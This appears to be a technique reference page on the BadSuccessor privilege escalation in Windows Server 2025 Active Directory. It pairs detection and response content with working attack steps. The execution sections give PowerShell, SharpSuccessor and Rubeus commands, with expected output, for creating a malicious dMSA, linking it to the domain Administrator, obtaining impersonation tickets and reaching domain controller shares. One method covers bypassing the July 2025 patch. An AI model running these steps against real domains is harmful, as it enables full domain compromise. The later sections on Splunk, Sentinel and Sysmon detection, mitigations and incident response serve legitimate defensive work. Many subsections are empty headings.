MCADDF

[EMERGING-PE-001]: BadSuccessor dMSA Abuse

Metadata

Attribute Details
Technique ID EMERGING-PE-001
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms Windows AD (Server 2025+)
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Windows Server 2025 only (dMSA feature)
Patched In Partial mitigation in July 2025 KDC updates; Full mitigation requires dMSA attribute validation policies
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.5.1 Limit membership in the Domain Admins group; audit service account delegation
DISA STIG W-25-000131 Restrict account creation capabilities to authorized administrative personnel
CISA SCuBA AD-2.7 Implement continuous monitoring of privileged account activity and attribute changes
NIST 800-53 AC-2(1) – AC-2(2) Account Management – Privileged Access Management
GDPR Art. 32 Security of Processing – Implement technical controls to prevent privilege escalation
DORA Art. 9 Protection and Prevention – Reduce privilege levels to minimum required
NIS2 Art. 21 Cyber Risk Management Measures – Access control and privilege management
ISO 27001 A.9.2.1 – A.9.2.5 User Access Management – Restrict privilege elevation
ISO 27005 Risk Scenario Compromise of high-privilege accounts via attribute manipulation

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Step 1: Enumerate dMSA Accounts in the Domain

# Query for all dMSA accounts
Get-ADUser -Filter {objectClass -eq "dMSA"} -Properties msDS-DelegatedMSAState, msDS-ManagedAccountPrecededByLink, msDS-SupersededManagedAccountLink

# Alternative: Using LDAP filter
Get-ADObject -LDAPFilter "(objectClass=dMSA)" -Properties *

What to Look For:

Command (Server 2025+):

# Windows Server 2025 provides native dMSA cmdlets
Get-ADServiceAccount -Filter {objectClass -eq "dMSA"} -Properties *

Step 2: Check CreateChild Permissions on Interesting OUs

# Enumerate OUs and their ACLs for CreateChild permissions
$OU = Get-ADOrganizationalUnit -Filter * | Select-Object DistinguishedName

foreach ($o in $OU) {
    $ACL = Get-Acl "AD:\$($o.DistinguishedName)"
    $CreateChildRules = $ACL.Access | Where-Object {
        $_.ObjectType -eq "00000000-0000-0000-0000-000000000000" -and $_.ActiveDirectoryRights -like "*CreateChild*"
    }
    if ($CreateChildRules) {
        Write-Host "OU: $($o.DistinguishedName) has CreateChild permissions:"
        $CreateChildRules | ForEach-Object { Write-Host "  - $($_.IdentityReference)" }
    }
}

What to Look For:

Step 3: Identify High-Value Target Accounts

# Query for high-privilege service accounts
Get-ADUser -Filter {(ServicePrincipalName -like "*") -and (Enabled -eq $true)} -Properties ServicePrincipalName, AccountDisabled | Select-Object SamAccountName, ServicePrincipalName

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using SharpSuccessor Tool (Automated)

Supported Versions: Windows Server 2025

Step 1: Compile/Obtain SharpSuccessor

Objective: Prepare the exploitation tool for attribute manipulation.

Command:

git clone https://github.com/ibaiC/BadSuccessor.git
cd BadSuccessor
# Compile C# code
csc.exe /target:exe /out:SharpSuccessor.exe *.cs

Expected Output:

Compilation successful. Output: SharpSuccessor.exe

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Create Malicious dMSA Account in Target OU

Objective: Establish a foothold dMSA that will be linked to the target privilege account.

Command:

# Create a new dMSA in an OU where you have CreateChild permissions
New-ADServiceAccount -Name "EMERGENT_DMSA" `
  -DNSHostName "attacker-dmsa.yourdomain.local" `
  -Path "OU=DangeroOUs,DC=yourdomain,DC=local" `
  -Enabled $true

Expected Output:

Name              SamAccountName               DistinguishedName
----              --------------               -----------------
EMERGENT_DMSA     EMERGENT_DMSA$               CN=EMERGENT_DMSA,OU=DangerousOUs,DC=yourdomain,DC=local

What This Means:

OpSec & Evasion:

Troubleshooting:

Objective: Establish the “successor” relationship between the malicious dMSA and the target privilege account.

Command (Using SharpSuccessor):

# Identify target account (e.g., Domain Admin)
$TargetAccount = Get-ADUser -Identity "Administrator" -Properties *
$TargetDN = $TargetAccount.DistinguishedName

# Manipulate dMSA attributes to link to target
.\SharpSuccessor.exe add /impersonate:Administrator `
  /path:"OU=DangerousOUs,DC=yourdomain,DC=local" `
  /account:EMERGENT_DMSA `
  /name:"EMERGENT_DMSA"

Expected Output (Pre-Patch):

[+] Successfully created dMSA: EMERGENT_DMSA$
[+] Linked to target: Administrator
[+] Set msDS-DelegatedMSAState: 2 (Migration Completed)
[+] Set msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=yourdomain,DC=local
[+] Ready to request impersonation tickets

Expected Output (Post-Patch - July 2025+):

[-] KDC validation failed: msDS-SupersededManagedAccountLink not found on target
[-] Attack aborted (this is the KDC validation enforcement)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Request Impersonation Ticket (Pre-Patch Only)

Objective: Extract a Kerberos ticket issued to the dMSA but with the target account’s privileges.

Command (Using Rubeus):

# Retrieve Kerberos ticket for the dMSA
.\Rubeus.exe asktgt /user:EMERGENT_DMSA$ /domain:yourdomain.local /dc:DC01.yourdomain.local

Expected Output (Pre-Patch):

[*] Using current credentials to request a TGT...
[+] Ticket retrieved: EMERGENT_DMSA$@yourdomain.local
[+] Special note: This ticket contains Administrator's SID in the authorization data
[+] Ticket saved to: EMERGENT_DMSA$@yourdomain.local.kirbi

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 5: Access Resources as Target Account (Pre-Patch Only)

Objective: Demonstrate privilege escalation by accessing administrative shares.

Command:

# Use the impersonation ticket to access admin shares
dir \\DC01.yourdomain.local\c$
dir \\SERVER02.yourdomain.local\c$

Expected Output:

Directory of \\DC01.yourdomain.local\c$

01/10/2026  10:15 AM    <DIR>          Program Files
01/10/2026  10:14 AM    <DIR>          Windows
01/10/2026  10:13 AM    <DIR>          Users

--- (Full access, previously denied)

What This Means:


METHOD 2: Manual LDAP Manipulation (PowerShell)

Supported Versions: Windows Server 2025

Step 1: Create dMSA via LDAP

Objective: Establish dMSA without using native cmdlets.

Command:

$DN_OU = "OU=Services,DC=yourdomain,DC=local"
$dMSA_Name = "STEALTHY_SVC"
$dMSA_DN = "CN=$dMSA_Name,OU=Services,DC=yourdomain,DC=local"

# Create dMSA via LDAP
$Entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$Entry.Properties["objectClass"].Value = @("dMSA", "user")
$Entry.Properties["sAMAccountName"].Value = "$dMSA_Name`$"
$Entry.Properties["msDS-DelegatedMSAState"].Value = 1
$Entry.CommitChanges()

Expected Output:

(No console output on success; object committed to AD)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Set Migration Attributes via LDAP

Objective: Link the dMSA to the target account by modifying AD attributes.

Command:

$dMSA_DN = "CN=STEALTHY_SVC,OU=Services,DC=yourdomain,DC=local"
$Target_DN = "CN=Administrator,CN=Users,DC=yourdomain,DC=local"

# Modify dMSA attributes
$dMSAEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$dMSAEntry.Properties["msDS-ManagedAccountPrecededByLink"].Value = $Target_DN
$dMSAEntry.Properties["msDS-DelegatedMSAState"].Value = 2  # Completed migration
$dMSAEntry.CommitChanges()

# Also modify target account (if you have GenericWrite on it)
$TargetEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target_DN")
$TargetEntry.Properties["msDS-SupersededManagedAccountLink"].Value = $dMSA_DN
$TargetEntry.CommitChanges()

Expected Output:

(Object updated; no console output)

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 3: Post-Patch Exploitation (July 2025+)

Supported Versions: Windows Server 2025 with July 2025+ KDC patches

Step 1: Establish Bidirectional Linkage

Objective: Overcome KDC validation by ensuring both accounts reference each other.

Command:

$dMSA_DN = "CN=BILINKED_SVC,OU=Services,DC=yourdomain,DC=local"
$Target_DN = "CN=Administrator,CN=Users,DC=yourdomain,DC=local"

# Step 1: Modify dMSA to reference target
$dMSAEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$dMSAEntry.Properties["msDS-ManagedAccountPrecededByLink"].Value = $Target_DN
$dMSAEntry.Properties["msDS-DelegatedMSAState"].Value = 2
$dMSAEntry.CommitChanges()

# Step 2: Modify target to reference dMSA
# (Requires GenericWrite or Attribute-Write permission on target)
$TargetEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target_DN")
$TargetEntry.Properties["msDS-SupersededManagedAccountLink"].Value = $dMSA_DN
$TargetEntry.CommitChanges()

Write-Host "[+] Bidirectional linkage established"

Expected Output:

[+] Bidirectional linkage established

What This Means:

OpSec & Evasion:

Troubleshooting:


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team Test

# Simulate dMSA creation
New-ADServiceAccount -Name "TEST_DMSA_PoC" -Path "OU=Test,DC=yourdomain,DC=local" -Enabled $true

# Simulate attribute modification for detection testing
# (Use Get-ADServiceAccount to verify creation)
Get-ADServiceAccount -Identity "TEST_DMSA_PoC" -Properties msDS-DelegatedMSAState
# Remove test dMSA
Remove-ADServiceAccount -Identity "TEST_DMSA_PoC" -Confirm:$false

Reference: Atomic Red Team - Active Directory Tests


7. TOOLS & COMMANDS REFERENCE

SharpSuccessor

Version: 1.0+ Minimum Version: 1.0 Supported Platforms: Windows Server 2025

Version-Specific Notes:

Installation:

git clone https://github.com/ibaiC/BadSuccessor.git
cd BadSuccessor
csc.exe /target:exe /out:SharpSuccessor.exe *.cs

Usage:

.\SharpSuccessor.exe add /impersonate:TargetUser /path:"OU=Services,DC=yourdomain,DC=local" /account:dMSA_Account /name:"dMSA_Name"

BadSuccessor PoC (Akamai Research)

Version: Initial research (May 2025) Supported Platforms: Windows Server 2025

Installation:

git clone https://github.com/Yuval-Gordon1/BadSuccessor.git

Usage: Research/educational reference; demonstrates attribute manipulation techniques

Rubeus

Version: 1.6.4+ Supported Platforms: .NET 4.5+ environments

Installation:

# Pre-compiled binaries available at:
# https://github.com/GhostPack/Rubeus/releases

Usage (Kerberos Ticket Extraction):

.\Rubeus.exe asktgt /user:dMSA_Account$ /domain:yourdomain.local /dc:DC01.yourdomain.local

Script (One-Liner - Attribute Enumeration)

Get-ADObject -LDAPFilter "(msDS-DelegatedMSAState=*)" -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, msDS-SupersededManagedAccountLink | Select-Object Name, msDS-DelegatedMSAState, msDS-ManagedAccountPrecededByLink

8. SPLUNK DETECTION RULES

Rule 1: dMSA Attribute Modification Detection

Rule Configuration:

SPL Query:

index=wineventlog sourcetype=WinEventLog:Security EventCode=5136
(AttributeLDAPDisplayName="msDS-ManagedAccountPrecededByLink" OR
 AttributeLDAPDisplayName="msDS-DelegatedMSAState" OR
 AttributeLDAPDisplayName="msDS-SupersededManagedAccountLink" OR
 AttributeLDAPDisplayName="msDS-SupersededServiceAccountState" OR
 AttributeLDAPDisplayName="msDS-GroupMSAMembership")
| stats count, values(SubjectUserName) as Editor, values(NewValue) as NewValue by ObjectDN, AttributeLDAPDisplayName
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: customcount > 0
  6. Configure ActionEmail → Add SOC email list
  7. Click Save

False Positive Analysis:


9. MICROSOFT SENTINEL DETECTION

Query 1: dMSA Migration Attributes Detection

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName contains "Update" and TargetResources contains "dMSA"
| where AdditionalDetails contains "msDS-ManagedAccountPrecededByLink" 
    or AdditionalDetails contains "msDS-DelegatedMSAState"
    or AdditionalDetails contains "msDS-SupersededManagedAccountLink"
| project TimeGenerated, InitiatedBy=parse_json(InitiatedBy)[0].userPrincipalName, TargetObjectId=TargetResources[0].id, ModifiedProperties
| join (
    AuditLogs
    | where OperationName == "Update user"
    | project TargetObjectId=TargetResources[0].id, HighPrivilegeGroup=iff(TargetResources[0].displayName contains "Admin" or TargetResources[0].displayName contains "Domain Admins", "Yes", "No")
) on TargetObjectId
| where HighPrivilegeGroup == "Yes"

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: dMSA Privilege Escalation Detection (BadSuccessor)
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 2 hours
  6. Incident settings Tab:
    • Enable Create incidents from alerts
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "dMSA Privilege Escalation Detection" `
  -Query @"
AuditLogs
| where OperationName contains "Update" and TargetResources contains "dMSA"
| where AdditionalDetails contains "msDS-ManagedAccountPrecededByLink"
"@ `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel AD/Entra ID Detection Reference


10. WINDOWS EVENT LOG MONITORING

Event ID: 5136 (Directory Service Object Modified)

Additional Event IDs:

Manual Configuration Steps (Group Policy - Domain Controllers):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDS Access
  3. Enable: Audit Directory Service Changes
  4. Set to: Success and Failure
  5. Apply to all Domain Controllers via Group Policy
  6. Run gpupdate /force on target DCs

Manual Configuration Steps (Server 2025 - Local Policy):

  1. Open Local Security Policy (secpol.msc) on Domain Controller
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDS Access
  3. Right-click Audit Directory Service ChangesProperties
  4. Enable Success and Failure
  5. Click OK
  6. Audit logging will begin immediately

Custom Windows Event Viewer Filter:

  1. Open Event Viewer
  2. Right-click Windows LogsSecurity
  3. Click Filter Current Log
  4. Event ID: 5136
  5. ****
  6. XML: Add custom filter for attribute names:
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=5136)]] and *[EventData[Data[@Name='AttributeLDAPDisplayName']='msDS-ManagedAccountPrecededByLink' or Data[@Name='AttributeLDAPDisplayName']='msDS-DelegatedMSAState' or Data[@Name='AttributeLDAPDisplayName']='msDS-SupersededManagedAccountLink']]</Select>
  </Query>
</QueryList>

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2025 Domain Controllers

<Sysmon schemaversion="4.22">
  <RuleGroup name="dMSA Attribute Monitoring" groupRelation="or">
    <!-- Monitor for LDAP modification operations targeting dMSA -->
    <ProcessCreate onmatch="include">
      <Image condition="image">dsdbutil.exe</Image>
      <CommandLine condition="contains">dMSA</CommandLine>
    </ProcessCreate>
    
    <!-- Monitor for PowerShell attribute modifications -->
    <ProcessCreate onmatch="include">
      <Image condition="image">powershell.exe</Image>
      <CommandLine condition="contains any">
        msDS-ManagedAccountPrecededByLink;
        msDS-DelegatedMSAState;
        msDS-SupersededManagedAccountLink;
        Replace-ADObjectProperty;
        Set-ADObject -Replace
      </CommandLine>
    </ProcessCreate>
    
    <!-- Monitor for suspicious LDAP queries from non-DC systems -->
    <NetworkConnect onmatch="include">
      <DestinationPort>389</DestinationPort>
      <DestinationIp condition="is not">10.0.0.0/8;172.16.0.0/12;192.168.0.0/16</DestinationIp>
      <Protocol>tcp</Protocol>
    </NetworkConnect>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-dmsa-config.xml with the XML above
  3. Install Sysmon:
sysmon64.exe -accepteula -i sysmon-dmsa-config.xml
  1. Verify installation:
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-Table TimeCreated, Message

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious dMSA Migration Activity

Alert Name: “Potential privilege escalation via delegated managed service account (dMSA) migration”

  1. Immediately review the impacted dMSA and target account in Azure Portal
  2. Verify that the attribute changes were authorized by your service account management team
  3. If unauthorized, reverse the attribute changes:
# Clear malicious linkage
$dMSA_DN = "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local"
$dMSAEntry = Get-ADObject -Identity $dMSA_DN -Properties msDS-ManagedAccountPrecededByLink
$dMSAEntry.msDS-ManagedAccountPrecededByLink = $null
Set-ADObject -Instance $dMSAEntry
  1. Force re-authentication for all users who accessed resources via the impacted accounts
  2. Review Kerberos ticket events (Event IDs 4768/4769) for the time period of the suspicious activity

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
  5. Click Save
  6. Configure Alert rules to trigger on dMSA modifications:
    • Go to Alert rules (Preview) → Add custom rule filtering for Event ID 5136

Reference: Microsoft Defender for Cloud Alerts


13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify that CreateChild is restricted on dMSA OUs
$dMSA_OUs = Get-ADOrganizationalUnit -Filter * | Where-Object {
    $_.Name -like "*Service*" -or $_.Name -like "*dMSA*"
}

foreach ($OU in $dMSA_OUs) {
    $ACL = Get-Acl "AD:\$($OU.DistinguishedName)"
    $CreateChildRules = $ACL.Access | Where-Object {
        $_.ActiveDirectoryRights -like "*CreateChild*"
    }
    
    if ($CreateChildRules.Count -eq 0) {
        Write-Host "[✓] $($OU.Name): CreateChild properly restricted"
    } else {
        Write-Host "[✗] $($OU.Name): Potentially dangerous CreateChild permissions detected"
        $CreateChildRules | ForEach-Object { Write-Host "    - $($_.IdentityReference)" }
    }
}

Expected Output (If Secure):

[✓] Services: CreateChild properly restricted
[✓] dMSA_Holders: CreateChild properly restricted

What to Look For:


14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Immediately disable the impacted dMSA account:
    Disable-ADAccount -Identity "SUSPECT_DMSA"
    
    • Disable the target account if compromised:
    Disable-ADAccount -Identity "Administrator"
    

    Manual (Active Directory Users and Computers):

    • Open dsa.msc
    • Locate the dMSA account
    • Right-click → Disable Account
  2. Collect Evidence:
    • Export dMSA attribute logs (Event ID 5136):
    Get-WinEvent -FilterHashtable @{LogName="Security"; EventID=5136; StartTime=(Get-Date).AddDays(-7)} | Export-Csv "dMSA_Changes.csv"
    
    • Export Kerberos logs:
    Get-WinEvent -FilterHashtable @{LogName="Security"; EventID=4768,4769; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Message -like "*dMSA*"} | Export-Csv "Kerberos_dMSA.csv"
    
  3. Remediate:
    • Remove malicious dMSA linkage:
    # Clear msDS-ManagedAccountPrecededByLink on dMSA
    $dMSA = Get-ADObject -Identity "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local"
    Set-ADObject -Identity $dMSA -Clear msDS-ManagedAccountPrecededByLink
        
    # Clear msDS-SupersededManagedAccountLink on target account
    $Target = Get-ADObject -Identity "CN=Administrator,CN=Users,DC=yourdomain,DC=local"
    Set-ADObject -Identity $Target -Clear msDS-SupersededManagedAccountLink
    
    • Delete the malicious dMSA:
    Remove-ADObject -Identity "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local" -Confirm:$false
    
  4. Notify and Follow-Up:
    • Alert all users who may have been impacted by the compromised account
    • Force password reset on the target account and any accounts that used the dMSA’s credentials
    • Review all resources accessed via the dMSA during the compromise period
    • Document timeline and indicators for future hunting

Step Phase Technique Description
1 Initial Access [IA-VALID-001] or social engineering Attacker compromises account with CreateChild permissions on service account OU
2 Reconnaissance [REC-AD-003] PowerView enumeration Attacker maps AD structure, identifies high-privilege accounts and OU permissions
3 Privilege Escalation [EMERGING-PE-001] BadSuccessor dMSA Abuse Attacker creates malicious dMSA and links to Domain Admin account
4 Persistence [PERSIST-ACCT-001] AdminSDHolder abuse or [PERSIST-ROGUE-001] DCShadow Attacker establishes persistence via additional dMSA backdoors or rogue accounts
5 Collection & Exfiltration [COLLECT-EMAIL-001] EWS mailbox collection or [COLLECT-DATA-001] Blob Storage extraction Attacker uses Domain Admin privileges to collect sensitive data

16. REAL-WORLD EXAMPLES

Example 1: Akamai Security Research Disclosure (May 2025)

Example 2: Altered Security Lab Exploitation


17. MITIGATION VALIDATION CHECKLIST